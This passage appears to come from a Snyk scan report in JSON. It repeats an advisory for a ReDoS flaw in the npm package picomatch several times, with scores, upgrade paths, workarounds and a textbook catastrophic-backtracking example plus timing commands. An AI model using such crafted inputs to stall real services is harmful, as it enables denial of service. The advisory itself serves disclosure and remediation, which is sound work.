the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", 